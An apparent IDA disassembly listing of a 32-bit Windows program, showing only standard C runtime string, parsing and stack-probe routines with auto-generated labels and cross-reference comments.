		mov	eax, [ebp+arg_0]


loc_41BCB8:				; CODE XREF: sub_41BBC1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BD03
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BCC8
		mov	esi, eax


loc_41BCC8:				; CODE XREF: sub_41BBC1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4204A9
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BD03
; ---------------------------------------------------------------------------


loc_41BCDB:				; CODE XREF: sub_41BBC1+CCj
					; sub_41BBC1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BCF9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BCEA
		mov	esi, eax


loc_41BCEA:				; CODE XREF: sub_41BBC1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_4204A9
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BCF9:				; CODE XREF: sub_41BBC1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BD03
		and	byte ptr [eax],	0


loc_41BD03:				; CODE XREF: sub_41BBC1+FCj
					; sub_41BBC1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBC1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BD10	proc near		; CODE XREF: sub_4019DB+8p
					; seg000:00401B52p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BD30


loc_41BD1C:				; CODE XREF: sub_41BD10+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BD1C


loc_41BD30:				; CODE XREF: sub_41BD10+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BD10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD3F	proc near		; CODE XREF: seg000:00408F82p
					; seg000:00408FAFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BD53
		xor	eax, eax
		jmp	short loc_41BD89
; ---------------------------------------------------------------------------


loc_41BD53:				; CODE XREF: sub_41BD3F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BD83
		mov	esi, [ebp+arg_8]


loc_41BD5C:				; CODE XREF: sub_41BD3F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BD6B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BD72
; ---------------------------------------------------------------------------


loc_41BD6B:				; CODE XREF: sub_41BD3F+20j
		push	esi
		call	sub_41F263
		pop	ecx


loc_41BD72:				; CODE XREF: sub_41BD3F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BD8D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BD83
		dec	[ebp+arg_4]
		jnz	short loc_41BD5C


loc_41BD83:				; CODE XREF: sub_41BD3F+18j
					; sub_41BD3F+3Dj ...
		and	byte ptr [edi],	0


loc_41BD86:				; CODE XREF: sub_41BD3F+55j
		mov	eax, ebx
		pop	esi


loc_41BD89:				; CODE XREF: sub_41BD3F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BD3F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BD83
		xor	ebx, ebx
		jmp	short loc_41BD86
sub_41BD3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD96	proc near		; CODE XREF: seg000:0041DFC5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BDAD
		add	esp, 10h
		retn
sub_41BD96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDAD	proc near		; CODE XREF: sub_41BD96+Ep
					; sub_41BFB5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BDC5:				; CODE XREF: sub_41BDAD+46j
		cmp	ds:dword_43F194, 1
		jle	short loc_41BDDD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDDD:				; CODE XREF: sub_41BDAD+1Fj
		mov	ecx, ds:off_43EF88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BDEC:				; CODE XREF: sub_41BDAD+2Ej
		test	eax, eax
		jz	short loc_41BDF5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------


loc_41BDF5:				; CODE XREF: sub_41BDAD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BE03
		or	[ebp+arg_C], 2
		jmp	short loc_41BE08
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDAD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BE0E


loc_41BE08:				; CODE XREF: sub_41BDAD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BE0E:				; CODE XREF: sub_41BDAD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BFA5
		cmp	eax, 1
		jz	loc_41BFA5
		cmp	eax, 24h
		jg	loc_41BFA5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE56
		cmp	bl, 30h
		jz	short loc_41BE40
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BE72
; ---------------------------------------------------------------------------


loc_41BE40:				; CODE XREF: sub_41BDAD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BE53
		cmp	al, 58h
		jz	short loc_41BE53
		mov	[ebp+arg_8], 8
		jmp	short loc_41BE72
; ---------------------------------------------------------------------------


loc_41BE53:				; CODE XREF: sub_41BDAD+97j
					; sub_41BDAD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BE56:				; CODE XREF: sub_41BDAD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BE72
		cmp	bl, 30h
		jnz	short loc_41BE72
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BE6A
		cmp	al, 58h
		jnz	short loc_41BE72


loc_41BE6A:				; CODE XREF: sub_41BDAD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BE72:				; CODE XREF: sub_41BDAD+91j
					; sub_41BDAD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BE82:				; CODE XREF: sub_41BDAD+16Cj
		cmp	ds:dword_43F194, 1
		movzx	esi, bl
		jle	short loc_41BE9A
		push	4
		push	esi
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_41BEA5
; ---------------------------------------------------------------------------


loc_41BE9A:				; CODE XREF: sub_41BDAD+DFj
		mov	eax, ds:off_43EF88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BEA5:				; CODE XREF: sub_41BDAD+EBj
		test	eax, eax
		jz	short loc_41BEB1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BEE3
; ---------------------------------------------------------------------------


loc_41BEB1:				; CODE XREF: sub_41BDAD+FAj
		cmp	ds:dword_43F194, 1
		jle	short loc_41BEC5
		push	edi
		push	esi
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_41BED0
; ---------------------------------------------------------------------------


loc_41BEC5:				; CODE XREF: sub_41BDAD+10Bj
		mov	eax, ds:off_43EF88
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BED0:				; CODE XREF: sub_41BDAD+116j
		test	eax, eax
		jz	short loc_41BF1E
		movsx	eax, bl
		push	eax
		call	sub_420533
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BEE3:				; CODE XREF: sub_41BDAD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BF1E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BF08
		jnz	short loc_41BF02
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BF08


loc_41BF02:				; CODE XREF: sub_41BDAD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BF11
; ---------------------------------------------------------------------------


loc_41BF08:				; CODE XREF: sub_41BDAD+145j
					; sub_41BDAD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BF11:				; CODE XREF: sub_41BDAD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BE82
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BDAD+125j
					; sub_41BDAD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BF3C
		test	edx, edx
		jz	short loc_41BF36
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BF36:				; CODE XREF: sub_41BDAD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BF89
; ---------------------------------------------------------------------------


loc_41BF3C:				; CODE XREF: sub_41BDAD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BF62
		test	cl, 1
		jnz	short loc_41BF89
		and	ecx, 2
		jz	short loc_41BF59
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BF62


loc_41BF59:				; CODE XREF: sub_41BDAD+1A1j
		test	ecx, ecx
		jnz	short loc_41BF89
		cmp	[ebp+var_8], eax
		jbe	short loc_41BF89


loc_41BF62:				; CODE XREF: sub_41BDAD+197j
					; sub_41BDAD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_4DDEB4, 22h
		jz	short loc_41BF78
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BF89
; ---------------------------------------------------------------------------


loc_41BF78:				; CODE XREF: sub_41BDAD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BF89:				; CODE XREF: sub_41BDAD+18Dj
					; sub_41BDAD+19Cj ...
		test	edx, edx
		jz	short loc_41BF92
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BF92:				; CODE XREF: sub_41BDAD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BFA0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BFA0:				; CODE XREF: sub_41BDAD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BFB0
; ---------------------------------------------------------------------------


loc_41BFA5:				; CODE XREF: sub_41BDAD+66j
					; sub_41BDAD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BFAE
		mov	[eax], edi


loc_41BFAE:				; CODE XREF: sub_41BDAD+1FDj
		xor	eax, eax


loc_41BFB0:				; CODE XREF: sub_41BDAD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BDAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFB5	proc near		; CODE XREF: seg000:00407C37p
					; sub_40ED60+497p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BDAD
		add	esp, 10h
		retn
sub_41BFB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFCC	proc near		; CODE XREF: seg000:004073DEp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 0B10000h
		lahf
		test	eax, eax
		jnz	short loc_41BFE2
		call	ds:dword_42808C	; RtlGetLastWin32Error
		jmp	short loc_41BFE4
; ---------------------------------------------------------------------------


loc_41BFE2:				; CODE XREF: sub_41BFCC+Cj
		xor	eax, eax


loc_41BFE4:				; CODE XREF: sub_41BFCC+14j
		test	eax, eax
		jz	short loc_41BFF3
		push	eax
		call	sub_4205FF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BFF3:				; CODE XREF: sub_41BFCC+1Aj
		xor	eax, eax
		retn
sub_41BFCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFF6	proc near		; CODE XREF: seg000:0040734Ap
					; sub_411D74+8Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420666
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F8BF
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4206F3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BFF6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C030	proc near		; CODE XREF: seg000:004038F1p
					; seg000:00403910p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C051
		xor	eax, eax
		jmp	short loc_41C053
; ---------------------------------------------------------------------------


loc_41C051:				; CODE XREF: sub_41C030+1Bj
		mov	eax, edi


loc_41C053:				; CODE XREF: sub_41C030+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C060	proc near		; CODE XREF: seg000:0040231Cp
					; seg000:0041DF3Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C091
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C08F
		jz	short loc_41C091
		dec	ecx
		dec	ecx


loc_41C08F:				; CODE XREF: sub_41C060+29j
		not	ecx


loc_41C091:				; CODE XREF: sub_41C060+9j
					; sub_41C060+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: seg000:00401F1Dp
					; seg000:00404B1Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C111
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C0B0	proc near		; CODE XREF: seg000:00401F29p
					; seg000:00409010p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C0CC


loc_41C0BD:				; CODE XREF: sub_41C0B0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C0FF
		test	ecx, 3
		jnz	short loc_41C0BD


loc_41C0CC:				; CODE XREF: sub_41C0B0+Bj
					; sub_41C0B0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C0CC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C10E
		test	ah, ah
		jz	short loc_41C109
		test	eax, 0FF0000h
		jz	short loc_41C104
		test	eax, 0FF000000h
		jz	short loc_41C0FF
		jmp	short loc_41C0CC
; ---------------------------------------------------------------------------


loc_41C0FF:				; CODE XREF: sub_41C0B0+12j
					; sub_41C0B0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C111
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0B0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C111
; ---------------------------------------------------------------------------


loc_41C109:				; CODE XREF: sub_41C0B0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C111
; ---------------------------------------------------------------------------


loc_41C10E:				; CODE XREF: sub_41C0B0+39j
		lea	edi, [ecx-4]


loc_41C111:				; CODE XREF: sub_41C0A0+5j
					; sub_41C0B0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C136


loc_41C11D:				; CODE XREF: sub_41C0B0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C188
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C11D
		jmp	short loc_41C136
; ---------------------------------------------------------------------------


loc_41C131:				; CODE XREF: sub_41C0B0+9Ej
					; sub_41C0B0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C136:				; CODE XREF: sub_41C0B0+6Bj
					; sub_41C0B0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C131
		test	dl, dl
		jz	short loc_41C188
		test	dh, dh
		jz	short loc_41C17F
		test	edx, 0FF0000h
		jz	short loc_41C172
		test	edx, 0FF000000h
		jz	short loc_41C16A
		jmp	short loc_41C131
; ---------------------------------------------------------------------------


loc_41C16A:				; CODE XREF: sub_41C0B0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C172:				; CODE XREF: sub_41C0B0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C17F:				; CODE XREF: sub_41C0B0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C188:				; CODE XREF: sub_41C0B0+72j
					; sub_41C0B0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C0B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C1A0


loc_41C190:				; CODE XREF: sub_41C1A0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C1A0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C1A0	proc near		; CODE XREF: seg000:00401F07p
					; seg000:00401F93p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C190 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C1A6:				; CODE XREF: sub_41BAF0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C1CB


loc_41C1B8:				; CODE XREF: sub_41C1A0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C190
		test	cl, cl
		jz	short loc_41C214
		test	edx, 3
		jnz	short loc_41C1B8


loc_41C1CB:				; CODE XREF: sub_41C1A0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C1D6:				; CODE XREF: sub_41C1A0+61j
					; sub_41C1A0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C218
		and	eax, 81010100h
		jz	short loc_41C1D6
		and	eax, 1010100h
		jnz	short loc_41C212
		and	esi, 80000000h
		jnz	short loc_41C1D6


loc_41C212:				; CODE XREF: sub_41C1A0+68j
					; sub_41C1A0+81j ...
		pop	esi
		pop	edi


loc_41C214:				; CODE XREF: sub_41C1A0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C218:				; CODE XREF: sub_41C1A0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C255
		test	al, al
		jz	short loc_41C212
		cmp	ah, bl
		jz	short loc_41C24E
		test	ah, ah
		jz	short loc_41C212
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C247
		test	al, al
		jz	short loc_41C212
		cmp	ah, bl
		jz	short loc_41C240
		test	ah, ah
		jz	short loc_41C212
		jmp	short loc_41C1D6
; ---------------------------------------------------------------------------


loc_41C240:				; CODE XREF: sub_41C1A0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C247:				; CODE XREF: sub_41C1A0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C24E:				; CODE XREF: sub_41C1A0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C255:				; CODE XREF: sub_41C1A0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C1A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C260	proc near		; CODE XREF: seg000:00401CEAp
					; seg000:00401D41p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C2AC


loc_41C270:				; CODE XREF: sub_41C260+3Cj
					; sub_41C260+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C2A4
		or	al, al
		jz	short loc_41C2A0
		cmp	ah, [ecx+1]
		jnz	short loc_41C2A4
		or	ah, ah
		jz	short loc_41C2A0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C2A4
		or	al, al
		jz	short loc_41C2A0
		cmp	ah, [ecx+3]
		jnz	short loc_41C2A4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C270
		mov	edi, edi


loc_41C2A0:				; CODE XREF: sub_41C260+18j
					; sub_41C260+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C2A4:				; CODE XREF: sub_41C260+14j
					; sub_41C260+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C2AC:				; CODE XREF: sub_41C260+Ej
		test	edx, 1
		jz	short loc_41C2C8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C2A4
		inc	ecx
		or	al, al
		jz	short loc_41C2A0
		test	edx, 2
		jz	short loc_41C270


loc_41C2C8:				; CODE XREF: sub_41C260+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C2A4
		or	al, al
		jz	short loc_41C2A0
		cmp	ah, [ecx+1]
		jnz	short loc_41C2A4
		or	ah, ah
		jz	short loc_41C2A0
		add	ecx, 2
		jmp	short loc_41C270
sub_41C260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2E4	proc near		; CODE XREF: seg000:00401BFFp
					; seg000:00401C12p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C2FD:				; CODE XREF: sub_41C2E4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C2FD
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C325
		mov	edx, ds:dword_4DDF00


loc_41C325:				; CODE XREF: sub_41C2E4+39j
					; sub_41C2E4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C345
		test	al, al
		jz	short loc_41C345
		inc	edx
		jmp	short loc_41C325
; ---------------------------------------------------------------------------


loc_41C345:				; CODE XREF: sub_41C2E4+58j
					; sub_41C2E4+5Cj
		mov	ebx, edx


loc_41C347:				; CODE XREF: sub_41C2E4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C36B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C367
		inc	edx
		jmp	short loc_41C347
; ---------------------------------------------------------------------------


loc_41C367:				; CODE XREF: sub_41C2E4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C36B:				; CODE XREF: sub_41C2E4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_4DDF00, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C2E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C380	proc near		; CODE XREF: sub_409920+1Cp
					; sub_415322+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F8BF
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C3BE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3CB
; ---------------------------------------------------------------------------


loc_41C3BE:				; CODE XREF: sub_41C380+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F7AA
		pop	ecx
		pop	ecx


loc_41C3CB:				; CODE XREF: sub_41C380+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C380	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3D0	proc near		; CODE XREF: sub_40AEA6+46p
					; sub_40B4AD+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C484
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C3FA


loc_41C3EB:				; CODE XREF: sub_41C3D0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C42B
		test	edi, 3
		jnz	short loc_41C3EB


loc_41C3FA:				; CODE XREF: sub_41C3D0+19j
					; sub_41C3D0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C3FA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C438
		test	ah, ah
